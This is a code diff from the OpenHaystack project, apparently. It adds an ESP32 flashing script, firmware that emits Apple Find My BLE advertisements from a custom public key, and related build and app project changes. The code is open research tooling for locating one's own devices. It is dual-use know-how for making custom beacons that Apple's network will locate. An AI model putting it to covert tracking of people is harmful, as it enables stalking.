+            echo "  This script will create a virtual environment for the required tools."
+            echo ""
+            echo "Call: flash_esp32.sh [-p <port>] [-v <dir>] [-s] PUBKEY"
+            echo ""
+            echo "Required Arguments:"
+            echo "  PUBKEY"
+            echo "      The base64-encoded public key"
+            echo ""
+            echo "Optional Arguments:"
+            echo "  -h, --help"
+            echo "      Show this message and exit."
+            echo "  -p, --port <port>"
+            echo "      Specify the serial interface to which the device is connected."
+            echo "  -s, --slow"
+            echo "      Use 115200 instead of 921600 baud when flashing."
+            echo "      Might be required for long/bad USB cables or slow USB-to-Serial converters."
+            echo "  -v, --venvdir <dir>"
+            echo "      Select Python virtual environment with esptool installed."
+            echo "      If the directory does not exist, it will be created."
+            exit 1
+        ;;
+        *)
+            if [[ -z "$PUBKEY" ]]; then
+                PUBKEY="$1"
+                shift
+            else
+                echo "Got unexpected parameter $1"
+                exit 1
+            fi
+        ;;
+    esac
+done
+
+# Sanity check: Pubkey exists
+if [[ -z "$PUBKEY" ]]; then
+    echo "Missing public key, call with --help for usage"
+    exit 1
+fi
+
+# Sanity check: Port
+if [[ ! -e "$PORT" ]]; then
+    echo "$PORT does not exist, please specify a valid serial interface with the -p argument"
+    exit 1
+fi
+
+# Setup the virtual environment
+if [[ ! -d "$VENV_DIR" ]]; then
+    # Create the virtual environment
+    PYTHON="$(which python3)"
+    if [[ -z "$PYTHON" ]]; then
+        PYTHON="$(which python)"
+    fi
+    if [[ -z "$PYTHON" ]]; then
+        echo "Could not find a Python installation, please install Python 3."
+        exit 1
+    fi
+    if ! ($PYTHON -V 2>&1 | grep "Python 3" > /dev/null); then
+        echo "Executing \"$PYTHON\" does not run Python 3, please make sure that python3 or python on your PATH points to Python 3"
+        exit 1
+    fi
+    if ! ($PYTHON -c "import venv" &> /dev/null); then
+        echo "Python 3 module \"venv\" was not found."
+        exit 1
+    fi
+    $PYTHON -m venv "$VENV_DIR"
+    if [[ $? != 0 ]]; then
+        echo "Creating the virtual environment in $VENV_DIR failed."
+        exit 1
+    fi
+    source "$VENV_DIR/bin/activate"
+    pip install --upgrade pip
+    pip install esptool
+    if [[ $? != 0 ]]; then
+        echo "Could not install Python 3 module esptool in $VENV_DIR";
+        exit 1
+    fi
+else
+    source "$VENV_DIR/bin/activate"
+fi
+
+# Prepare the key
+KEYFILE="$SCRIPT_DIR/tmp.key"
+if [[ -f "$KEYFILE" ]]; then
+    echo "$KEYFILE already exists, stopping here not to override files..."
+    exit 1
+fi
+echo "$PUBKEY" | python3 -m base64 -d - > "$KEYFILE"
+if [[ $? != 0 ]]; then
+    echo "Could not parse the public key. Please provide valid base64 input"
+    exit 1
+fi
+
+# Call esptool.py. Errors from here on are critical
+set -e
+trap cleanup INT TERM EXIT
+
+# Clear NVM
+esptool.py --after no_reset --port "$PORT" \
+    erase_region 0x9000 0x5000
+esptool.py --before no_reset --baud $BAUDRATE --port "$PORT" \
+    write_flash 0x1000  "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
+                0x8000  "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
+                0xe000  "$KEYFILE" \
+                0x10000 "$SCRIPT_DIR/build/openhaystack.bin"

Firmware/ESP32/main/CMakeLists.txt

@@ -0,0 +1,3 @@
+idf_component_register(SRCS "openhaystack_main.c"
+                           
+                    INCLUDE_DIRS ".")

Firmware/ESP32/main/component.mk

@@ -0,0 +1,4 @@
+#
+# "main" pseudo-component makefile.
+#
+# (Uses default behaviour of compiling all source files in directory, adding 'include' to include path.)

Firmware/ESP32/main/openhaystack_main.c

@@ -0,0 +1,162 @@
+#include <stdint.h>
+#include <string.h>
+#include <stdbool.h>
+#include <stdio.h>
+
+#include "nvs_flash.h"
+#include "esp_partition.h"
+
+#include "esp_bt.h"
+#include "esp_gap_ble_api.h"
+#include "esp_gattc_api.h"
+#include "esp_gatt_defs.h"
+#include "esp_bt_main.h"
+#include "esp_bt_defs.h"
+#include "esp_log.h"
+#include "freertos/FreeRTOS.h"
+
+static const char* LOG_TAG = "open_haystack";
+
+/** Callback function for BT events */
+static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param);
+
+/** Random device address */
+static esp_bd_addr_t rnd_addr = { 0xFF, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF };
+
+/** Advertisement payload */
+static uint8_t adv_data[31] = {
+	0x1e, /* Length (30) */
+	0xff, /* Manufacturer Specific Data (type 0xff) */
+	0x4c, 0x00, /* Company ID (Apple) */
+	0x12, 0x19, /* Offline Finding type and length */
+	0x00, /* State */
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, /* First two bits */
+	0x00, /* Hint (0x00) */
+};
+
+/* https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/bluetooth/esp_gap_ble.html#_CPPv420esp_ble_adv_params_t */
+static esp_ble_adv_params_t ble_adv_params = {
+    // Advertising min interval:
+    // Minimum advertising interval for undirected and low duty cycle
+    // directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
+    // (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
+    .adv_int_min        = 0x0640, // 1s
+    // Advertising max interval:
+    // Maximum advertising interval for undirected and low duty cycle
+    // directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
+    // (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
+    .adv_int_max        = 0x0C80, // 2s
+    // Advertisement type
+    .adv_type           = ADV_TYPE_NONCONN_IND,
+    // Use the random address
+    .own_addr_type      = BLE_ADDR_TYPE_RANDOM,
+    // All channels
+    .channel_map        = ADV_CHNL_ALL,
+    // Allow both scan and connection requests from anyone. 
+    .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY,
+};
+
+static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param)
+{
+    esp_err_t err;
+
+    switch (event) {
+        case ESP_GAP_BLE_ADV_DATA_RAW_SET_COMPLETE_EVT:
+            esp_ble_gap_start_advertising(&ble_adv_params);
+            break;
+
+        case ESP_GAP_BLE_ADV_START_COMPLETE_EVT:
+            //adv start complete event to indicate adv start successfully or failed
+            if ((err = param->adv_start_cmpl.status) != ESP_BT_STATUS_SUCCESS) {
+                ESP_LOGE(LOG_TAG, "advertising start failed: %s", esp_err_to_name(err));
+            } else {
+                ESP_LOGI(LOG_TAG, "advertising has started.");
+            }
+            break;
+
+        case ESP_GAP_BLE_ADV_STOP_COMPLETE_EVT:
+            if ((err = param->adv_stop_cmpl.status) != ESP_BT_STATUS_SUCCESS){
+                ESP_LOGE(LOG_TAG, "adv stop failed: %s", esp_err_to_name(err));
+            }
+            else {
+                ESP_LOGI(LOG_TAG, "stop adv successfully");
+            }
+            break;
+        default:
+            break;
+    }
+}
+
+int load_key(uint8_t *dst, size_t size) {
+    const esp_partition_t *keypart = esp_partition_find_first(0x40, 0x00, "key");
+    if (keypart == NULL) {
+        ESP_LOGE(LOG_TAG, "Could not find key partition");
+        return 1;
+    }
+    esp_err_t status;
+    status = esp_partition_read(keypart, 0, dst, size);
+    if (status != ESP_OK) {
+        ESP_LOGE(LOG_TAG, "Could not read key from partition: %s", esp_err_to_name(status));
+    }
+    return status;
+}
+
+void set_addr_from_key(esp_bd_addr_t addr, uint8_t *public_key) {
+	addr[0] = public_key[0] | 0b11000000;
+	addr[1] = public_key[1];
+	addr[2] = public_key[2];
+	addr[3] = public_key[3];
+	addr[4] = public_key[4];
+	addr[5] = public_key[5];
+}
+
+void set_payload_from_key(uint8_t *payload, uint8_t *public_key) {
+    /* copy last 22 bytes */
+	memcpy(&payload[7], &public_key[6], 22);
+	/* append two bits of public key */
+	payload[29] = public_key[0] >> 6;
+}
+
+void app_main(void)
+{
+    ESP_ERROR_CHECK(nvs_flash_init());
+    ESP_ERROR_CHECK(esp_bt_controller_mem_release(ESP_BT_MODE_CLASSIC_BT));
+    esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
+    esp_bt_controller_init(&bt_cfg);
+    esp_bt_controller_enable(ESP_BT_MODE_BLE);
+
+    esp_bluedroid_init();
+    esp_bluedroid_enable();
+
+    // Load the public key from the key partition
+    static uint8_t public_key[28];
+    if (load_key(public_key, sizeof(public_key)) != ESP_OK) {
+        ESP_LOGE(LOG_TAG, "Could not read the key, stopping.");
+        return;
+    }
+
+    set_addr_from_key(rnd_addr, public_key);
+    set_payload_from_key(adv_data, public_key);
+
+    ESP_LOGI(LOG_TAG, "using device address: %02x %02x %02x %02x %02x %02x", rnd_addr[0], rnd_addr[1], rnd_addr[2], rnd_addr[3], rnd_addr[4], rnd_addr[5]);
+
+    esp_err_t status;
+    //register the scan callback function to the gap module
+    if ((status = esp_ble_gap_register_callback(esp_gap_cb)) != ESP_OK) {
+        ESP_LOGE(LOG_TAG, "gap register error: %s", esp_err_to_name(status));
+        return;
+    }
+
+    if ((status = esp_ble_gap_set_rand_addr(rnd_addr)) != ESP_OK) {
+        ESP_LOGE(LOG_TAG, "couldn't set random address: %s", esp_err_to_name(status));
+        return;
+    }
+    if ((esp_ble_gap_config_adv_data_raw((uint8_t*)&adv_data, sizeof(adv_data))) != ESP_OK) {
+        ESP_LOGE(LOG_TAG, "couldn't configure BLE adv: %s", esp_err_to_name(status));
+        return;
+    }
+    ESP_LOGI(LOG_TAG, "application initialized");
+}

Firmware/ESP32/partitions.csv

@@ -0,0 +1,5 @@
+# Name,   Type, SubType, Offset,  Size, Flags
+nvs,      data, nvs,     0x9000,  0x5000,
+key,      0x40, 0x00,    0xe000,  0x1000,
+phy_init, data, phy,     0xf000,  0x1000,
+factory,  app,  factory, 0x10000, 1M,

Firmware/Linux_HCI/README.md

@@ -0,0 +1,19 @@
+# OpenHaystack HCI Script for Linux
+
+This script enables Linux devices to send out Bluetooth Low Energy advertisements such that they can be found by [Apple's Find My network](https://developer.apple.com/find-my/).
+
+## Disclaimer
+
+Note that the script is just a proof-of-concept and currently only implements advertising a single static key. This means that **devices running this script are trackable** by other devices in proximity.
+
+## Requirements
+
+The script requires a Linux machine with a Bluetooth Low Energy radio chip, a Python environment, and `hcitool` installed. We tested it on a Raspberry Pi running the official Raspberry Pi OS.
+
+## Usage
+
+Our Python script uses HCI calls to configure Bluetooth advertising. You can copy the required `ADVERTISMENT_KEY` from the app by right-clicking on your accessory and selecting _Copy advertisement key (Base64)_. Then run the script:
+
+```bash
+sudo python3 HCI.py --key <ADVERTISMENT_KEY>
+```

Firmware/Microbit_v1/Makefile

@@ -1,7 +1,7 @@
 PLATFORM := nRF51822
 NRF51_SDK_PATH := $(shell pwd)/nrf51_sdk_v4_4_2_33551
 NRF51_SDK_DOWNLOAD_URL := https://developer.nordicsemi.com/nRF5_SDK/nRF51_SDK_v4.x.x/nrf51_sdk_v4_4_2_33551.zip
-OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../OpenHaystack/OpenHaystack/HaystackApp/firmware.bin
+OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../../OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
 
 export PLATFORM
 export NRF51_SDK_PATH
@@ -10,7 +10,7 @@ ifeq ($(DEPLOY_PATH),)
 	DEPLOY_PATH := /Volumes/MICROBIT
 endif
 
-offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git
+offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git offline-finding/main.c
 	$(MAKE) -C blessed
 	$(MAKE) -C offline-finding
 

Firmware/Microbit_v1/offline-finding/main.c

@@ -15,7 +15,7 @@
 
 #include "ll.h"
 
-#define ADV_INTERVAL			LL_ADV_INTERVAL_MIN_NONCONN	/* 100 ms */
+#define ADV_INTERVAL			2000000	/* 2 s */
 
 /* don't make `const` so we can replace key in compiled binary image */
 static char public_key[28] = "OFFLINEFINDINGPUBLICKEYHERE!";

Makefile

@@ -0,0 +1,10 @@
+APPDIR := OpenHaystack
+
+default:
+
+install-hooks: .pre-commit
+	cp .pre-commit .git/hooks/pre-commit
+
+app-autoformat:
+	swift-format format -i -r $(APPDIR)
+	clang-format -i $(shell find $(APPDIR) -name '*.h' -o -name '*.m')

OpenHaystack/.clang-format

@@ -0,0 +1,3 @@
+BasedOnStyle: llvm
+ColumnLimit: 180
+IndentWidth: 4

OpenHaystack/.swift-format

@@ -0,0 +1,7 @@
+{
+    "version": 1,
+    "lineLength": 180,
+    "indentation": {
+        "spaces": 4
+    }
+}

OpenHaystack/.swiftlint.yml

@@ -1,59 +0,0 @@
-
-# By default, SwiftLint uses a set of sensible default rules you can adjust:
-disabled_rules: # rule identifiers turned on by default to exclude from running
-  - colon
-  - control_statement
-  - identifier_name
-  - force_try
-
-opt_in_rules: # some rules are turned off by default, so you need to opt-in
-  - empty_count # Find all the available rules by running: `swiftlint rules`
-
-# Alternatively, specify all rules explicitly by uncommenting this option:
-# only_rules: # delete `disabled_rules` & `opt_in_rules` if using this
-#   - empty_parameters
-#   - vertical_whitespace
-
-analyzer_rules: # Rules run by `swiftlint analyze` (experimental)
-  - explicit_self
-
-# configurable rules can be customized from this configuration file
-# binary rules can set their severity level
-force_cast: warning # implicitly
-# rules that have both warning and error levels, can set just the warning level
-# implicitly
-line_length: 180
-# they can set both implicitly with an array
-type_body_length:
-  - 400 # warning
-  - 500 # error
-# or they can set both explicitly
-file_length:
-  warning: 600
-  error: 1200
-# naming rules can set warnings/errors for min_length and max_length
-# additionally they can set excluded names
-type_name:
-  min_length: 1 # only warning
-  max_length: # warning and error
-    warning: 40
-    error: 50
-  excluded:
-    - iPhone
-    - BN
-    - ECC
-    - PSI
-    - Log
-  allowed_symbols: ["_"] # these are allowed in type names
-identifier_name:
-  min_length: 1 # only min_length
-  excluded: # excluded via string array
-    - id
-    - URL
-    - GlobalAPIKey
-    - SHA256_SIZE
-    - SHA384_SIZE
-    - TWO
-    - EULER_THEOREM
-    - Log
-reporter: "xcode" # reporter type (xcode, json, csv, checkstyle, codeclimate, junit, html, emoji, sonarqube, markdown, github-actions-logging)

OpenHaystack/OpenHaystack-Bridging-Header.h

@@ -1,11 +1,13 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-#import "ReportsFetcher.h"
-#import "BoringSSL.h"
 #import "ALTAnisetteData.h"
 #import "AppleAccountData.h"
+#import "BoringSSL.h"
+#import "ReportsFetcher.h"

OpenHaystack/OpenHaystack.xcodeproj/project.pbxproj

@@ -10,21 +10,25 @@
 		78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78014A2725DC01220089F6D9 /* MicrobitController.swift */; };
 		78014A2B25DC22120089F6D9 /* sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2A25DC22110089F6D9 /* sample.bin */; };
 		78014A2F25DC2F100089F6D9 /* pattern_sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2E25DC2F100089F6D9 /* pattern_sample.bin */; };
+		78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78023CAA25F7767000B083EF /* ESP32Controller.swift */; };
+		78023CAF25F7797400B083EF /* ESP32 in Resources */ = {isa = PBXBuildFile; fileRef = 78023CAE25F7797400B083EF /* ESP32 */; };
+		78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */; };
 		781EB3EA25DAD7EA00FEAA19 /* ReportsFetcher.m in Sources */ = {isa = PBXBuildFile; fileRef = 78108B84248E8FDD0007E9C4 /* ReportsFetcher.m */; };
 		781EB3EB25DAD7EA00FEAA19 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 116B4EEC24A913AA007BA636 /* SavePanel.swift */; };
 		781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */ = {isa = PBXBuildFile; fileRef = 025DFEDB248FED250039C718 /* DecryptReports.swift */; };
 		781EB3EF25DAD7EA00FEAA19 /* MapViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC2249135D600ABB066 /* MapViewController.swift */; };
 		781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7867874724A651C600199B09 /* FindMyKeyDecoder.swift */; };
-		781EB3F225DAD7EA00FEAA19 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* AppDelegate.swift */; };
+		781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */; };
 		781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B8E248F70D40007E9C4 /* Models.swift */; };
 		781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B90248F72AF0007E9C4 /* FindMyController.swift */; };
 		781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */ = {isa = PBXBuildFile; fileRef = 024D98482490CE320063EBB6 /* BoringSSL.m */; };
 		781EB3F725DAD7EA00FEAA19 /* Crypto in Frameworks */ = {isa = PBXBuildFile; productRef = 781EB3E725DAD7EA00FEAA19 /* Crypto */; };
-		781EB3FD25DAD7EA00FEAA19 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78108B78248E8FB80007E9C4 /* Main.storyboard */; };
 		781EB3FE25DAD7EA00FEAA19 /* MapViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = 0211DBC3249135D600ABB066 /* MapViewController.xib */; };
 		781EB40025DAD7EA00FEAA19 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */; };
 		781EB40225DAD7EA00FEAA19 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B73248E8FB80007E9C4 /* Assets.xcassets */; };
 		781EB43125DADF2B00FEAA19 /* AnisetteDataManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */; };
+		7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD025F7B2C10054DC33 /* FileManager.swift */; };
+		7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */; };
 		78286CB225E3ACE700F65511 /* OpenHaystackPluginService.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CAF25E3ACE700F65511 /* OpenHaystackPluginService.m */; };
 		78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CB025E3ACE700F65511 /* ALTAnisetteData.m */; };
 		78286D2A25E3EC3200F65511 /* AppleAccountData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286D2925E3EC3200F65511 /* AppleAccountData.m */; };
@@ -42,11 +46,17 @@
 		7899D1D625DE74EE00115740 /* firmware.bin in Resources */ = {isa = PBXBuildFile; fileRef = 7899D1D525DE74EE00115740 /* firmware.bin */; };
 		7899D1E125DE97E200115740 /* IconSelectionView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7899D1E025DE97E200115740 /* IconSelectionView.swift */; };
 		7899D1E925DEBF4900115740 /* AccessoryMapAnnotation.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */; };
+		78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */; };
 		78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */; };
 		78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
 		78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
-		78EC227525DBCCA00042B775 /* .swiftlint.yml in Resources */ = {isa = PBXBuildFile; fileRef = 78EC227425DBCCA00042B775 /* .swiftlint.yml */; };
 		78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
+		78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */; };
+		F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */ = {isa = PBXBuildFile; fileRef = F126102E2600D1D80066A859 /* Slider+LogScale.swift */; };
+		F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */; };
+		F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */; };
+		F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1525FF6C61004144D6 /* BluetoothTests.swift */; };
+		F1647C1B25FF7954004144D6 /* AccessoryNearbyMonitor.swift in Sources */ = {isa = PBXBuildFile; fileRef = F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */; };
 		F16BA9E925E7DB2D00238183 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = F16BA9E825E7DB2D00238183 /* NIOSSL */; };
 /* End PBXBuildFile section */
 
@@ -101,10 +111,12 @@
 		78014A2725DC01220089F6D9 /* MicrobitController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MicrobitController.swift; sourceTree = "<group>"; };
 		78014A2A25DC22110089F6D9 /* sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = sample.bin; sourceTree = "<group>"; };
 		78014A2E25DC2F100089F6D9 /* pattern_sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = pattern_sample.bin; sourceTree = "<group>"; };
-		78108B6F248E8FB50007E9C4 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
+		78023CAA25F7767000B083EF /* ESP32Controller.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ESP32Controller.swift; sourceTree = "<group>"; };
+		78023CAE25F7797400B083EF /* ESP32 */ = {isa = PBXFileReference; lastKnownFileType = folder; path = ESP32; sourceTree = "<group>"; };
+		78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MicrocontrollerTests.swift; sourceTree = "<group>"; };
+		78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackApp.swift; sourceTree = "<group>"; };
 		78108B73248E8FB80007E9C4 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
 		78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
-		78108B79248E8FB80007E9C4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
 		78108B7B248E8FB80007E9C4 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
 		78108B82248E8FDD0007E9C4 /* OpenHaystack-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "OpenHaystack-Bridging-Header.h"; sourceTree = "<group>"; };
 		78108B83248E8FDD0007E9C4 /* ReportsFetcher.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ReportsFetcher.h; sourceTree = "<group>"; };
@@ -113,6 +125,8 @@
 		78108B90248F72AF0007E9C4 /* FindMyController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyController.swift; sourceTree = "<group>"; };
 		781EB40825DAD7EA00FEAA19 /* OpenHaystack.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OpenHaystack.app; sourceTree = BUILT_PRODUCTS_DIR; };
 		781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AnisetteDataManager.swift; sourceTree = "<group>"; };
+		7821DAD025F7B2C10054DC33 /* FileManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FileManager.swift; sourceTree = "<group>"; };
+		7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ESP32InstallSheet.swift; sourceTree = "<group>"; };
 		78286C8E25E3AC0400F65511 /* OpenHaystackMail.mailbundle */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = OpenHaystackMail.mailbundle; sourceTree = BUILT_PRODUCTS_DIR; };
 		78286C9025E3AC0400F65511 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
 		78286CAE25E3ACE700F65511 /* OpenHaystackPluginService.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = OpenHaystackPluginService.h; sourceTree = "<group>"; };
@@ -135,13 +149,19 @@
 		7899D1D525DE74EE00115740 /* firmware.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = firmware.bin; sourceTree = "<group>"; };
 		7899D1E025DE97E200115740 /* IconSelectionView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = IconSelectionView.swift; sourceTree = "<group>"; };
 		7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AccessoryMapAnnotation.swift; sourceTree = "<group>"; };
+		78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ManageAccessoriesView.swift; sourceTree = "<group>"; };
 		78EC226125DAE0BE0042B775 /* OpenHaystackTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = OpenHaystackTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; };
 		78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackTests.swift; sourceTree = "<group>"; };
 		78EC226525DAE0BE0042B775 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
 		78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
 		78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
-		78EC227425DBCCA00042B775 /* .swiftlint.yml */ = {isa = PBXFileReference; lastKnownFileType = text.yaml; path = .swiftlint.yml; sourceTree = "<group>"; };
 		78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
+		78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LargeButtonStyle.swift; sourceTree = "<group>"; };
+		F126102E2600D1D80066A859 /* Slider+LogScale.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Slider+LogScale.swift"; sourceTree = "<group>"; };
+		F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothAccessoryScanner.swift; sourceTree = "<group>"; };
+		F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Advertisement.swift; sourceTree = "<group>"; };
+		F1647C1525FF6C61004144D6 /* BluetoothTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothTests.swift; sourceTree = "<group>"; };
+		F1647C1A25FF7954004144D6 /* AccessoryNearbyMonitor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AccessoryNearbyMonitor.swift; sourceTree = "<group>"; };
 /* End PBXFileReference section */
 
